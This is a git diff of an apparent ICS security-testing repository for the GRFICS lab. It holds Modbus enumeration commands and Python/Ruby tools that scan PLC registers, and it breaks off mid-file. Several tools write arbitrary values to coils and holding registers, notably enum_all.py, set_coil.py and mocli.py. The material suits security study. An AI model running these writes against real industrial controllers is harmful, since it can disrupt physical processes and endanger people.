a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', 